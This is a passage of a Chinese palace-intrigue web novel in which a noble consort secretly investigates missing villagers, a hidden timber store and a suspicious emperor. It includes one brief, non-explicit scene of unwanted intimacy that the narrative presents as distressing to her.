这座溪山别苑还是前朝皇室所筑,韩氏掌权之后,并未破坏,还很好的将它们保留了下来。
在原有的风貌之上进行了修复,使得别苑景致更显秀丽,古韵之中又添了些许鲜活生机。
等他们彻底安顿好,已经过了戌时。
苏寻雁不放心那对母子,没急着回去歇息,反而转身问刘路:“那对母子安置在何处?你带我去。”
刘路一时不知怎么回答,只好看向韩屹,见他点头了,他才低声回道:“贵妃娘娘请放心,那对母子已经安置在一处单独的院落,饭食也已经送到。”
苏寻雁却不管那些,直接打断他的话:“既然都安置好了,那你前面带路,我要去见见她们。”
刘路轻叹了口气,躬身应道:“好的,娘娘这边请。”
说罢,他做了一个请的手势,苏寻雁率先走了出去。还未踏出门槛,身后韩屹便说了一句:“早去早回,我等你。”
苏寻雁头也没回,快步离开了院子。
二人穿过长长的廊道,又绕过几处亭子与假山,才走到另一处偏僻的院落。
刘路在院外停下脚步,躬身道:“娘娘,那对母子就在里面,奴才在外面等您。”
苏寻雁微微颔首,抬脚朝里走,还未靠近屋子,便能听到母子俩断断续续地抽泣声。韩屹的做法,确实将她们吓到了。
她轻轻敲了敲门,里面很快就传来东西摔落的声音,她连忙朝里道:“是我,只是想与你简单聊几句,你不必紧张。”
房门从里面打开,露出女子慌张的面容,她看了苏寻雁一眼,又看了一眼身后不远处的刘路,连忙退到一边。
苏寻雁先将门关上,才转身朝里走,见母子俩蜷缩在墙角,心里就有些难受。
她走到墙角,蹲了下来,轻声劝道:“你们别怕,我们只是想要帮忙,没有恶意,有什么难处,你尽管说出来。”
女子却还是如之前那般,只是摇头,问什么都不肯说。
苏寻雁无法,只得将目光转向身旁的孩童。
他恰好也抬头望过来,苏寻雁柔声说:“你是叫小宝吗?”
见孩子点头,她伸手摸了摸他的头,接着柔声问道:“小宝真乖,那你爹离开时,有没有与你们说他去
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了哪里?”
好在孩童对她没什么防备,朝她笑了笑,奶声奶气地说。
“仙子姐姐,我全名叫刘小宝,我爹是个猎户,他每日都上山打猎,可厉害了,那日他离开家,就再没回来……仙子姐姐,他去哪里了啊?是不是我不够乖,他才不回来?”
说着说着,他又开始扑簌扑簌的掉眼泪。
苏寻雁眼底闪过一抹心疼,伸手轻轻揉了揉他的发顶。
“小宝很乖,你爹定是被什么事给绊住了,他心里一定也很想你,饿不饿?”
小宝抬手擦了擦脸上的泪,乖巧地点了点头。
苏寻雁笑着牵起他的小肉手,走到饭桌前,又将筷子递给他:“饿了就快吃吧。”
小宝夹起一块鸭肉就往嘴里放,他母亲看到,尖叫着冲上前。
“小宝,别吃啊!”
苏寻雁被她这一嗓子惊了一跳,小宝也吓得浑身一哆嗦,手里的肉就这样掉到了桌子上。
苏寻雁转头,没好气地看了那女子一眼。
“你对我们心存防备,我可以理解,可你想一想,若我们真想对你不利,又何必费心思带你们回来?”
女子自知理亏,默默垂头,却并未回应。
苏寻雁起身,推开门,朝门外吩咐:“再添一副碗筷来。”
侍从很快将碗筷送进来,苏寻雁对他摆手:“下去吧,这里不需要伺候。”
说罢,她拿着筷子,夹起一片鸭肉,放入口中。
别说,在路上颠簸了一日,还真有些饿了。
她只觉得鸭肉做得十分入味,味道鲜香,肉质滑嫩,不知不觉她又吃了几块。
那女子见她如此,连忙躬身赔罪:“贵人恕罪,我,我不是有意冒犯,实在是怕了。”
苏寻雁这才放下筷子,眼神淡淡地撇向她。
“我们会在这里停留两日,你可想好了,若是此时不说,以后可就没这个机会了。”
女子紧张的抬头望过来,几番欲言又止。苏寻雁也不催她,只耐心的等着她开口。
见她目光频频望向门外,苏寻雁便起身,将门打开,朝外吩咐:“你们先退下吧,不必再此守着了。”
其中一名侍卫闻言,却面露难色:“娘娘,是刘总管吩咐我等再此值守,若没有他的命令,我等不敢擅自离开。”
“那就让刘路过来,我亲自与他说。”
说罢,便转身进屋,柔声对母子俩说:“你们先用膳,待会儿等人撤走了,你再说。”
女子感激地朝她连连作揖,苏寻雁只轻叹了口气。
“不必如此多礼,快些吃吧,再这么磨蹭下去,饭菜就该凉了。”
女子这才走到桌边坐下来,大口吃起来。
“娘,你吃这个,这个肉很好吃,快吃。”
小宝站起身,伸长胳膊,给女子夹了块鸭肉到碗里。
女子含泪吃下,点头说:“嗯,好吃,小宝也吃。”
望着母子俩这般温馨的画面,她也不禁想起自己的家人。
自她第二次重生归来,都还未见过母亲,也未与父亲通过信。如今这身份,是再也无法亲自回去探望,只能让母亲进宫来见她。
怪只怪自己当初的任性决定,终究是害了自己,也祸及了家人啊。
思及此,她又忍不住叹了口气,那女子闻声,立马放下筷子,小心翼翼地望过来。
苏寻雁笑了笑:“你们吃你们的,我只是在想些事情。”
这时,门外传来了轻微的叩门声。
27. 第 27 章
刘路隔着门板,低声朝里面问道:“娘娘,唤老奴前来,可是有事吩咐?”
苏寻雁推开门,朝他冷声道:“你让他们退下吧,我这里不需要这么多人守着,再去将知秋唤过来。”
“娘娘,时辰不早了,陛下那边可还等着您回去就寝呢,您看,不如明日再说?”
苏寻雁脸色当即沉了下来:“明日还有明日的事呢,好了,都退下吧。”
说着,她又‘砰’的一声将门带上。刘路无奈地摇了摇头,只得带着几名侍卫先行离开。
听着门外脚步声渐渐远去,苏寻雁又回过身来,看向母子二人。
“他们都走了,现在你可以放心说了,究竟发生了何事?”
女子不放心地望了一眼门外,这才跪到苏寻雁面前,语气哽咽。
“求贵人救救我的相公,他是被人抓走的!”
“你说话就说话,怎么又跪下了?”她随即反应过来,蹙眉追问:“抓走?那些人的样貌你可有看清?对方为何要抓他?”
女子哭着摇头:“我也不知道啊,那日他吃过早饭,便出门去了,没多久我就听到一声呼救,等我跑出去看的时候,他人已经没了,我听村里的人说,他是被一伙人强行掳走的,我也不知他们是谁啊,呜呜……”
小宝见母亲哭得那么伤心,他也跟着哭了起来。
苏寻雁也有些急了,忙打断她:“先别伤心了,眼下最要紧的是将人寻回来,你再回忆一下,出事之前,他去过哪里,有没有什么异常的举动?”
“没有,他平时上山打到猎物,就会去城里卖掉,不接触什么外人啊。”
苏寻雁听后若有所思,一脸狐疑地望向那哭得颤抖的女子。
“你今日见到我们,为何如此惧怕?可是有什么缘由?”
“没有没有,就是一下见到这么多陌生人,我心里害怕,没什么缘由。”女子连忙否认。
女子看起来完全是一副为丈夫失踪而彷徨无助的模样,可不知为何,总觉得对方的言辞有所保留,并未说出实情。
“你丈夫失踪也半月之久,你就没想过去报官?”她试探地问道。
“我不敢,我害怕啊,我们这样的平头百姓,哪里敢与官府扯上关系啊。”
她还想再追问,转头时见一旁的小宝已经困得睁不开眼,她只得起身,与女子说。
“你再好好想想,或许还能想起什么,今日也很晚了,你们先休息吧。”
转过身时,她眼眸暗沉下去,一阵失落感没由来地涌上心头。
她想要帮这对母子,可对方却并不信任她。
推开房门,抬头便看到匆匆赶来的知秋,这才露出一抹笑意。
“娘娘,您都聊完了吗?”
她没回答,只缓缓往前。知秋看了一眼身后漆黑的屋子,小声说:“刘总管刚才还来催了,说陛下等得不耐烦了呢。”
见她兴致不高,知秋又忍不住好奇:“娘娘,那女子都说什么了啊?”
“什么也没说,好了,我们先回去,我累了。”
知秋这才收住话茬,默默跟在后面。
回到院子,苏寻雁一言不发地躺到榻上,只感觉全身累到虚脱。
“娘娘,您是不舒服吗?要不请御医来给您瞧瞧?”见她状态不对,知秋就有些担忧。
“我没事,躺一会儿就好,你先下去吧。”
知秋忍不住上前劝道。
“娘娘,奴婢知道您心里着急,可她不肯说,咱们再急也没办法啊,您可不要为此伤神,实在不行,咱们明日派人去村子里问问,说不定能问出些什么。”
“罢了,先不提这些,明日再说。”她翻身朝内,一副不愿再多说的样子。
知秋见状也不好再劝,只得悄声退下。
就在她迷迷糊糊要睡着时,身侧忽然传来一阵窸窣轻响,她睡意正浓,只含糊道。
“别吵,都下去。”
那人却轻轻靠近,从背后将她揽入怀中,贴过她的耳畔,声音低沉:“要让谁下去?”
苏寻雁不耐地翻身,撇了他一眼:“你怎么来了?”声音还带着未醒的慵懒。
韩屹却径自欺身而上,垂眸望向她:“白日你坏了我的好事,夜里岂能轻饶你。”
说罢,手已经熟捻地探向她的衣领,解开了第一颗盘扣。
苏寻雁连忙按住他作乱的手,轻声说:“今日我实在累了,改日好不好?”
“怎么?”韩屹低笑:“还想着谋杀亲夫?”
不等她反应,韩屹已迅速褪下她的衣衫,随即俯身压下,眼中的灼热几欲喷薄,动作带着不容置喙的占有,将她笼罩其中,不得挣脱。
望着他沉醉的神色,苏寻雁只觉得反胃,也不知从前的自己,究竟是看上了他哪一点。
夜色沉寂,屋内却断断续续传来低低的轻吟,直至天将放明,这场漫长的纠缠才结束。
韩屹垂眸望向枕边熟睡之人,眼底残留的未尽之意翻涌而出,又被他强行压下,只轻轻吻了吻她的额角,便悄然起身。披上一件外衫,便推门而出。
临走时,他还压低声音吩咐道:“贵妃昨日太过疲惫,不要吵醒她。”
侍从连忙躬身应下:“是。”
苏寻雁这一觉睡到日上三竿,醒来时也没觉得轻松多少,反而浑身说不出的酸软无力,她动都不想动,只任由侍女为她穿衣上妆。
知秋在旁看着,只觉心疼,待人都下去,她才忍不住小声抱怨。
“陛下这是做什么呢,明知娘娘您昨日累得厉害,还不让您好好歇歇,这算哪门子情深,分明就是只顾自己嘛!”
苏寻雁起初还不以为意地笑着,听到最后,却冷下脸色。
“这些话是你能随便说的?我看你是嫌命太长了?”
知秋心虚地垂下头,小声说:“奴婢这不是气不过嘛,娘娘放心,在外人面前,奴婢绝不会乱说。”
“最好是,不然我也救不了你。”
苏寻雁打着哈欠,困顿地坐在床榻上,知秋看了她一眼,又忍不住凑过来。
“娘娘,要是觉得疲累,不如奴婢让他们烧些热水送来,您沐浴一番?”
别说,她还真有些心动,不过想到眼下的环境,还是拒绝了。
“罢了,下午该动身了,还是别折腾了。”
知秋站起身,二话不说就朝外走。
“这有何难,奴婢让人将水烧好,提过来就是,娘娘您就等着吧。”
苏寻雁没拦她,而是又懒懒地躺回榻上。
她如今只想再睡会儿,什么都不想去管了。
不多时,知秋便带着两名侍从进了屋。
“将水放下,你们就出去吧,有人来记得拦住啊。”
“是,知秋姐姐尽管放心。”
泡在热水里,她只觉浑身都舒展开了,知秋站在一旁,不断的试着水温,用水舀朝里加热水。
“娘娘,这样泡一泡是不是舒服多了?不然待会坐马车您就该难受了。”
苏寻雁胳膊搭在桶沿上,淡笑着看向她:“你如今是越来越像苏嬷嬷了。”
知秋一听,得意地笑了,“是吧?奴婢每日跟着嬷嬷学习,可不就像她了。”
“就你这得意忘形的样子可不像,还是得多学着些。”见她笑得这般开心,苏
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寻雁就忍不住打趣。
“哎呀娘娘,您就不能多夸夸奴婢嘛。”
“那可不成,不然某人该忘了自己姓谁名谁了。”
苏寻雁眼底含笑,随即从浴桶中起身,她一边穿着里衣,一边轻声问道:“对了,陛下此刻在做什么?可有说过几时启程?”
知秋连忙为她披上外衫,低声说:“陛下正在书房批阅奏折呢,今日一早送来的,待会还要召见几位大臣,估计一时半会儿散不了,也没说何时启程,要不奴婢再去问问?”
“无妨。”苏寻雁轻轻摆手:“既然政务繁忙,就让他忙去罢。那对母子,现下如何了?”
说起这个,知秋就忍不住叹气:“她们还是老样子,什么也不肯说,饭倒是会按时吃,那孩子也很是乖巧,没有哭闹过。”
有了昨晚的经历,苏寻雁也不准备去看她们了。
她想了想,便说:“待会派人去通知官府一声,让他们派人过来调查。”
“娘娘,这事,您不打算管了?”知秋有些意外。
苏寻雁把玩着梳妆台上的珠钗,语气漫不经心。
"她对我太过防备,就是再问,也问不出什么,再说,寻人本就是衙门的事,就交由他们处理吧。"
知秋虽嘴上应下,心里却还有些纳闷,只觉得这并非娘娘平日的作风。殊不知,这只是苏寻雁的另一番谋算。
“娘娘,这两日怎么也不见小锤子啊?他去了哪里?”
知秋出去吩咐完差事,始终不见小锤子的身影,才好奇的问道。
苏寻雁不紧不慢地抿了口茶,语气悠然:“都过去两日了,你才想起来问?看来你与他的交情,也不过如此嘛。”
“不是的,奴婢昨日事情多,一时忘了问。”
知秋不好意思地挠了挠头,苏寻雁也不再逗她,直言道:“我让他去村子里打探了,这会儿人也该回了,你不必担心。”
知秋恍然点头:“哦,原是这样,奴婢以为娘娘当真不管那对母子了呢!官府那边,还要告知吗?”
“当然,就是要看看他们是何反应。”
知秋这才放心离去。
果然,小锤子在他们动身前便赶了回来,一回来便径直走进屋,沉声回禀道:“娘娘所料不差,村里确实不止一人失踪。”
“果然如此。”苏寻雁眸色一沉,语气骤然转冷:“那女子定是看到了什么,才不敢开口。失踪的共有几户人家?你可都仔细盘问过了?”
“奴才按照娘娘的吩咐,挨个询问过了,失踪者大多是村中的青壮年,他们对家里只说是去外地帮工,谁成想,这一去便不见踪影。”
知秋听后,一脸惊诧地看向二人。
“啊,这是什么意思?那村子还有人失踪?那他们的家人为何不报官呢?这伙人这么做,究竟有何目的啊?”
她只略微一想,就觉得后背冷嗖嗖的。
“他们是何目的,探查一番不就知道了。”
苏寻雁轻轻叹息,只希望事情不是她想的那般。
县衙的官差不多时便赶到溪山别苑,刘路早就在门前候着他们。
见他那一身的总管服侍,几名官差顿时便收敛起敷衍的态度,恭敬地向他行礼,脸上满是奉承之色。
“此等小事,何必劳烦大人,差人吩咐小的们一声便是了。”
刘路平日什么人没见过,对着这几人,自是没有好脸色。
“休得多言,将人带走不得为难,若人有任何闪失,后果绝非你们能担得起的。”
“是,是,我等皆是按章程办事的,哪敢为难百姓啊,大人实在是多虑了。”几人赔着笑点头附和。
28. 第 28 章
在那对母子离开前,苏寻雁终究还是出来了,她径直走到小宝面前,蹲下身对他说。
“这些官差是来帮你的,到了那边要乖乖听话,他们问完话,自然放你回家,知道吗?”
小宝似懂非懂地点了点头:“哦,我知道了。”
“好,去吧。”
苏寻雁朝他微微一笑,直接无视女子眼中的复杂神色,转身走了。
韩屹听闻此事后,还饶有兴致地前来问她:“此事,你当真交由官府处置了?”
苏寻雁头也未抬,淡声应道:“是啊,寻人本就是他们的职责所在,我又何需为此操心。”
韩屹眼底掠过一抹锋芒,随即笑道:“嗯,你如此想便对了。”
“那我们何时启程?”她合上手中游记,抬眸看他。
“怎么?这偌大的溪山别苑,你这么快就待腻了?”说着,还伸手轻轻刮了刮她的鼻尖。
“是谁说要带我走遍西郊好玩之处的?怎么?想反悔了不成?”苏寻雁闻言,就有些不悦。
韩屹无法,只笑着讨饶:“好好好,既答应了你,我又怎会反悔。咱们后日一早便动身,这两日我还有些政务要处理,你若是觉得闷,也可以四处走走,此处风光还算宜人。”
“好吧,那你可要快些。”说罢,她的目光重新落到游记上。
见她如此,韩屹也没再打搅,只悄声离开了。
待人离去,苏寻雁立马收起游记,唤来知秋与小锤子,正色道:“收拾一下,我们这就动身去村庄。”
小锤子连忙应下,接着转身去准备。
知秋听后却是一脸懵,但很快也反应过来。
“娘娘,您这是要亲自去那村庄探查吗?这未免也太危险了吧?此事不都交由官府处理了吗?”
苏寻雁起身走到内室,快速将外衫换下,穿上一旁的素色布衣,接着转身催促她。
“快别愣着了,速去准备,若那些官府之人靠得住,此地又何至于接连发生村民失踪事件?”
知秋瞬间没话了,只得不情不愿地回去准备。
三人轻装简行朝外走,临走时,苏寻雁还不忘叮嘱门外侍从。
“若是陛下问起,你们便说本宫去后山赏景了。”
“娘娘放心,奴才定不会多言。”
不多时,三人便坐上马车,从别苑后门驾车离开,一路直奔村庄而去。
路上,知秋还是不放心,不停的劝着苏寻雁回去。
“娘娘,只有我们三个去,也太冒险了,您为何不向陛下说明实情?即便陛下眼下没空,也可派几名禁军随行啊,总好过如今这般……”
苏寻雁懒得回答,只斜倚在车壁上,闭目养神。
见她闭了眼,知秋也不好再出言打扰,可一颗心却始终悬着,她一会儿掀帘探向车外,一会儿又悄悄回望苏寻雁,不知该如何是好。
就在她纠结不安时,马车已经行至村庄,在村口缓缓停下。
几个孩童好奇地跑过来,围着马车转圈圈,有的则直接朝马车内望去。
苏寻雁这会儿也醒了,不等知秋搀扶,她自己就提起裙摆跳下车。
“哎呀娘娘,您可当心啊!”
知秋紧张地不行,刚想要伸手过去,可苏寻雁动作太快,她想扶都来不及。
她此刻无比想念苏嬷嬷,若是嬷嬷在,娘娘行事便不会如此冲动了,起码会听劝吧。
苏寻雁站在马车下,无所谓地笑了笑:“是我在宫里待太久了吗?久到你都忘了我也习过武了?”
知秋语气无奈:“可您前一阵子不是还生过病,还是要多注意些啊。”
她还在心里自责,苏寻雁却早就走到那群孩童面前,将带来的蜜饯分给了他们。
随即俯下身,柔声问道:“你们都是这村子里的吗?”
拿到蜜饯,孩子们别提多开心了,捧在手里看了又看,就是舍不得吃,听到她的问话,几人都乖巧地点头。
“是啊,我们都住这村里,大姐姐你从哪来啊?”几人仰着脸,好奇地打量着她。
“哦,我路过这里,随意逛逛,这附近有什么好玩的吗?”
孩童们互相看了看,都没有回答。
这时,一个年约四五岁的孩童,上前几步说:“大姐姐,我们这没什么好玩的,就后山有个凉亭还行。”
说罢,还朝她眨了眨眼睛。
“你们是什么人?想对孩子们做什么?”
苏寻雁正要再问,一个老太太忽然冲了过来,将孩子们护在身后,眼神防备地望着她们。
她随即转身,语气严厉:“还不快回家去,回头我就告诉你们娘去。”
孩童们闻言,吓得立马跑开了。
“老婆婆,我们只是途径此处,并无恶意,您不必紧张。”苏寻雁含笑上前,语气轻柔。
老太太却一脸不耐,横了他们一眼,不客气的挥手驱赶。
“我们村没什么好看的,我劝你们趁早离开,不然,村子里要是发生什么,你们可逃不脱!”
小锤子见她突然逼近,警觉地上前,挡在二人面前。
“哎,你这婆子怎么说话的?我们不过是想问个路,怎么到你这就成坏人了?”
“走走走,你们赶紧给我走,再不走,我可就要喊人了!”
苏寻雁见她情绪突然激动,就觉事情有异,当即一言不发,拉住知秋和小锤子的胳膊,转身往回走。
直到几人走出村口,老太太才转身离开。
见她终于离开,三人便停下来,知秋最先忍不住。
“娘娘,这村子我们进不去,还如何探查啊?”她看着身后的村子,忧心忡忡。
“无妨,他们越是这般遮遮掩掩,就越说明事情不简单。”
苏寻雁很是淡定,思索了片刻,便说:“我们暗中跟上那个老太太,或许能听到些只言片语。”
若就这样回去,因着今日的事,韩屹必会派人盯着她,那样的话,她处境就被动了。
“娘娘,咱们还是先回吧,这村子还不知有些什么人呢,若让陛下知晓,定会不悦。”
知秋见她还要查,焦急地不行,连忙劝道。
身旁的小锤子却是一脸的不赞同
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。
“怕什么的,时辰尚早,陛下这会儿还与大臣们商议政事呢,哪顾得上咱们娘娘,你就放心吧。”
苏寻雁朝知秋笑了笑,安抚道:“无妨,我已想好应对之策。”
说罢,她与小锤子转身便往村子里走。
辩不过他们,知秋愁得直跺脚,可眼见二人越走越远,她也只好匆匆跟上。
三人一路偷偷探查,终于在一户人家院外,听到了那熟悉而洪亮的嗓音,正是下午的那个老太太。
小锤子伸长脖子朝里望了眼,回头低声说:“娘娘,待会就让奴才自己进去吧,人多了,必会引起他们的警觉。”
“也好,那你注意安全,我们在院后等你。”
小锤子微微颔首,随即脚步放得极轻,无声无息地靠近那间屋子。
别看他只是个小太监,却也有些身手。他武艺不说多厉害,可对付几个寻常村民,倒也绰绰有余。
所以由他独自前去,苏寻雁很放心,唯有知秋,一直提心吊胆,整个人都透着几分不安何慌张。
等了没一会儿,她便有些待不住了,正想与苏寻雁提议进去瞧瞧,小锤子却刚好从院子里走出。
见着人影,知秋连忙小跑着过去,目光紧张地上下打量他。
“小锤子,你怎么样?他们有没有发现你啊?”
小锤子却笑着摆手:“我没事,知秋姐,你就是太紧张了。”
他随即转身,向苏寻雁禀报。
“娘娘,奴才都探听清楚了,那老太太并没有与家人提及我们,只是再三叮嘱他们,近日不要上山。”
“上山?”
苏寻雁若有所思:“看来这秘密,就藏在后山之中。”
她接着追问道:“你可知那处是什么山?”
小锤子不好意思地挠了挠头:“奴才也是头一回来这,对那山实在不熟悉啊。”
随即想起什么,连忙补充道:“哦对了,奴才方才急着避人,碰巧藏进了她家的地窖里,在里面发现了不少木材,也不知是做什么用的。”
“快带我去。”
苏寻雁脸色微变,急急道。
小锤子见她如此,连忙前面带路,知秋这时却拽住苏寻雁的衣角,轻声劝道。
“娘娘,您别去了,这天都快黑了,咱们若是再不赶回去,陛下就该起疑了。”
苏寻雁抽出衣角,笑了笑:“来都来了,若是就这样回去,岂非得不偿失?”
见知秋一副快要哭出来的表情,她轻叹了口气,语气放软。
“放心,我只是进去看一眼,不会耽误太久,你不必跟着,就在外面替我们守着门。”
说罢,也不等她反应,便快步往前,不一会儿便进了院子。
知秋在外踮起脚朝里张望,却因身高受限,什么也瞧不见,只能攥紧手心暗暗着急。
而苏寻雁二人,此时已经下到地窖深处,抬眼望去,只见角落里木材堆积如山,她走过去,伸手摸了摸,发现这些木材质地坚硬,纹理平整。
她虽不懂这些,却也看得出这批木材,绝非寻常之物。
29. 第 29 章
小锤子跟在后面,走过来见她一脸严肃,就有些好奇:“娘娘,您说他们屯这么多木材,是要做什么啊?”
苏寻雁面色沉寂,随即转头看向他。
“带刀了吗?去砍一小块带走,咱们不懂,自有懂的人。”
小锤子连忙从怀里掏出匕首,动作极快地割下一块木材,放进随身携带的布包里。
“好了,我们快走。”
苏寻雁见他将东西藏好,便转身,顺着木梯往上爬。
小锤子紧随其后,就在二人将要探出地窖时,地窖口突然传来几道人声。
“这地窖门怎么是开着的?我平时是怎么嘱咐你们的?真是一点不上心!”
竟是那老太太的声音,紧接着,一个妇人的声音响起。
“不对啊,我明明记得走时关好了的。”
苏寻雁心头一紧,忙回头朝小锤子递了个眼神,小锤子会意,二人动作极轻地从木梯往下走,各自找了隐蔽处藏好。
“先别说这些了,赶快下去看看啊,今日村子里还来了几个生人,可不能让他们发现!”
老太太急得就要亲自下来,妇人连忙拦住她。
“娘,您腿脚不便,还是我来,您在上面看着就是。”
接着,从木梯之上传来轻微响声,苏寻雁下意识的屏住呼吸,生怕被对方察觉。
而此时她更担心,在外守着的知秋。若他们迟迟不出现,知秋定会着急,万一被那些村民发现,事情只会更麻烦。
妇人很快下到底,她拿着油灯四处查看,扬声与上面的老太太说:“娘,我仔细瞧过了,底下没事。”
老太太忙回道:“没事就好,那你快些上来。”
妇人再度爬上木梯,这时,角落忽然传来‘嘎嘣’一记轻响,妇人动作一顿,回头望去。
苏寻雁一颗心几乎悬到嗓子眼,连呼吸都屏住了。
“怎么还不上来啊?”
幸好地窖里光线昏暗,即便听到动静也瞧不分明,加上老太太在外连声催促,妇人不再犹豫,手脚并用的往上爬。
只是她刚出地窖,老太太便‘咔嚓’一声落了锁,她与小锤子就这样被关在了里面。
待上面的脚步声远去,小锤子才压低声音,不解的问道。
“娘娘,方才您为何不让奴才出手?”
原来方才那声轻响,就是小锤子弄出来的,他本想趁机制住那妇人,再出去控制住老太太,临了,苏寻雁却朝他摇头,阻止了他。
“你的身手我自然信得过,可一旦这么做,咱们虽能脱身,却也会惊动村子里的人。”
说到这里,她神色渐渐凝重起来:“此事绝不简单,若非必要,万不可打草惊蛇。”
“可是娘娘,我们如今被困在这里,要如何脱身?”
“别急,再想想办法,知秋在外面等着我们,若见我们迟迟没出去,她定会来寻。”
话虽如此,二人在地窖里待得却并不舒服。
地窖内幽暗阴冷,这环境很容易让人感到压抑,对他们来说,每等一刻,都是煎熬。
当然,他们也没闲着,将地窖里里外外都探了个遍,可除了头顶的那个出口,再也没找到其他出路。
也是,此地能藏这么多木材,又怎么会再设其他暗门。
二人顿时泄了气,坐到地上歇息起来。
不知过去多久,头顶突然传来细微的走动声。
苏寻雁心中一凛,与小锤子交换了一下眼神,两人下意识地屏住呼吸,小锤子暗暗握住手中短刀,准备必要时,突出重围。
很快,地窖的门板被轻轻敲响,上面传来细不可闻地声音:“娘娘,您在里面吗?”
这是知秋的声音!
苏寻雁忙压低声音回道:“知秋,我们都在里面,外面情况如何?”
知秋一听到她的声音,语气就有些激动:“娘娘,奴婢就知道您会没事,你们先等等,奴婢这就去寻个工具来,救你们出去。”
“知秋,如若不行,你就回去叫人,万不可逞强啊。”
苏寻雁不放心的叮嘱了一句,也不知她听到没有,之后四周又重归寂静,两人只能在底下暗暗着急,却帮不上忙,还怕她被人发现。
好在知秋此行还算顺利,不多时,她人便回来了。
“娘娘,奴婢找到一把斧头,这就把锁砸开。”
紧接着,上面便传来’镪镪’的声响,苏寻雁心头一紧,赶紧压低声音提醒她。
“知秋,你小声些,别将人给引过来。”
知秋回头望了一眼,小声朝底下说:“娘娘放心吧,他们都走了。奴婢方才进去看过了,这处院子不住人,像是专门堆放杂物的库房,您再等等哈,马上就好。”
说着‘镪镪’声又起,苏寻雁突然想到什么:“若院子里没人,那你先别急着砸了,进屋去找找,说不定能找到钥匙,不然动静太大,会惊动那些村民。”
知秋听后也觉有理,连忙停下手中动作:“好,奴婢这就进屋瞧瞧,娘娘您别急啊。”
“你仔细着些,千万要当心。”
小锤子见她担心知秋,还在旁安慰道:“娘娘放心,您别看知秋姐姐平时胆子小,真到了关键时候,胆子比奴才还大呢。”
苏寻雁忍不住轻笑起来:“这话可不能让她听到了。”
又不知过去多久,两人等得有些心焦了,上头终于再度传来知秋略带惊喜的声音。
“娘娘,还真让奴婢寻到钥匙了。”
知秋忙紧张地垂头去试,只听“啪嗒”一声,地窖的门应声而开。
一束微弱的月光从地窖口,直直照射下来。
“娘娘,小锤子,地窖门开了,你们快些上来!”
二人顿时一喜,手脚并用的往上爬,不一会儿便从地窖里脱身而出。
见他们都好好的,知秋瞬间落下泪来:“还好你们都没事,不然奴婢都不知如何是好了,呜呜……”
苏寻雁也觉得惊险,但此处不是说话的地方,她连忙出言打断。
“好了,知道你担心我们,先离开这里再说。”
知秋这才止住眼泪,点头应道:“好,我们快走。”
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>三人快步朝村口走去。
“大姐姐,你不去后山玩了吗?”
快到村口时,身后突然传来一道孩童的声音。行进中的三人皆是一惊。
三人同时回头,只见白日里那个主动说话的小男孩,不知何时出现在她们身后,还露出一抹笑意。
“姐姐要走了吗?”
他仰着脸,望过来的眼神里透着几分无辜。
小锤子不动声色地挡在二人面前,苏寻雁却朝他摆手,随即走过去,柔声说:“姐姐还有事,后山改日再去,很晚了,你也赶紧回家去,乖哈。”
说罢,她便起身,示意二人朝前走,不想,却被那孩童一把拽住衣角。
“姐姐,你们前几日也来过村子吧?你还分给我们蜜饯了呢。”
苏寻雁虽心下着急,面上却始终带着一抹微笑。
“是,下次我还给你们带蜜饯,好了,我们真得走了,你快回去。”
说着,她将小男孩的手拽了下来,接着快步朝前,生怕晚了,会被村里人察觉。
好在,这次那孩童没再拦她,只是站在原地,目光直直的望向三人离开的方向。
三人有惊无险地离开村子,却不想,原本停靠在村口不远的那辆马车不见了。
“咦,马车呢?”
知秋见状,一脸诧异:“咱们先前不就停在这儿吗?怎么不见了?”
小锤子在附近看了一圈,却没见着马车的影子,面上也急了。
“是这没错,难不成让那些村民挪走了?这荒郊野岭的,咱们去哪里寻马车啊!”
二人愁得不行,苏寻雁却依旧淡定。
“马车没了便没了,我们慢慢往前走,若是回不去,先找个地方落脚也好。总之,要赶在韩屹寻来前,离开这里。”
自己这大半日不见踪影,他得知,一定会派人来寻,顺着车轴的印记,很快便会寻到这里来,所以眼下马车失踪,对他们来说,也算是件好事了。
二人虽有些不解,却也没多问,赶忙跟上她。
苏寻雁与小锤子还好,毕竟二人学过些武艺,却是苦了知秋,还没走出多远,她便气喘吁吁地停下来。
“娘娘,奴婢实在走不动了,脚疼的厉害,能歇一会儿吗?”
见她额头全是汗,苏寻雁眼底闪过一抹心疼,却没好气地说:“平日里叫你多锻炼,就知道犯懒,如今后悔了吧?”
她望了眼身后那条土坡,转头与二人说:“咱们先走出这段土路,到了官道上再歇。”
知秋只好认命地慢慢往前,路上,苏寻雁还不放心,轻声叮嘱着小锤子。
“那木块,你务必贴身藏好,不要让任何人发现,等咱们到了上京,一切就好说了。”
小锤子郑重应道:“娘娘尽管放心,奴才定会藏好。”
历经一番周折,三人总算踏上平坦的官道。
苏寻雁一路悬着的心,在这时才算放下,她正要唤二人停下来歇歇,远处忽然传来一阵急促的马蹄声……
她心头一紧,连忙拉住二人,闪身躲避到附近的林子里。
30. 第 30 章
随着马蹄声越来越近,苏寻雁只觉手心都在冒汗。就在这时,一道熟悉的低沉嗓音穿透树林,传了过来。
“印记就在此处断了,给朕仔细搜,一寸也不要放过。”
“是!”侍卫齐声应道,随即四散开来。
听到韩屹的声音,知秋立马兴奋地转过来:“娘娘,是陛下啊,咱们不出去吗?”
小锤子也朝她望过来,苏寻雁却冷静的摇了摇头:“不急,再等等。”
韩屹此次出巡的目的,她始终不清楚,正好趁这次机会,试探一下。
果然,此处的动静,惊动了不远处的村庄,没多久,两波人便在道旁遇上了。
“你们是什么人?”
天色已经暗沉下来,村民们看不清韩屹一行人的模样,语气透着谨慎。
侍卫总管策马上前,冷声喝道:“官府在此办案,识相的速速离开,休要多事。”
来的村民大多是村中的老幼妇孺,不见一个青壮年,见对方腰侧佩着长刀,一身戎装,他们哪里还敢多问,纷纷吓得往后退。
“官爷请便,我等只是听到此处声响,不放心过来看一眼。”
几人说着就要转身离去。
“且慢。”
韩屹这时打马上前,眼神审视地望向几人。
“你们是附近村子的?今日可有生面孔进村?”语气清冷。
几人交换了一下眼神,其中一位年长的老者,上前一步,躬身道。
“回官爷,我们平日只待在屋里,很少出门,也并未见过什么生人。”
韩屹随即转身离开,侍卫总管一脸不耐地上前驱赶。
“都赶紧走!”
几人又朝那侍卫行了一礼,才转身离去。
看着几人离去的背影,苏寻雁若有所思。
一旁的知秋却等不急了,再次催促:“娘娘啊,咱们若再不出去,陛下就该走了!”
她是不想再走着回去了,脚踝那处已经隐隐作动,定是磨出了口子,若再走下去,她的脚就该废了。
“好,咱们走吧。”
一听这话,知秋立马来了精神,率先跑出了树林,边跑,她还边朝韩屹那边挥手。
“陛下,陛下,我们在这儿!”
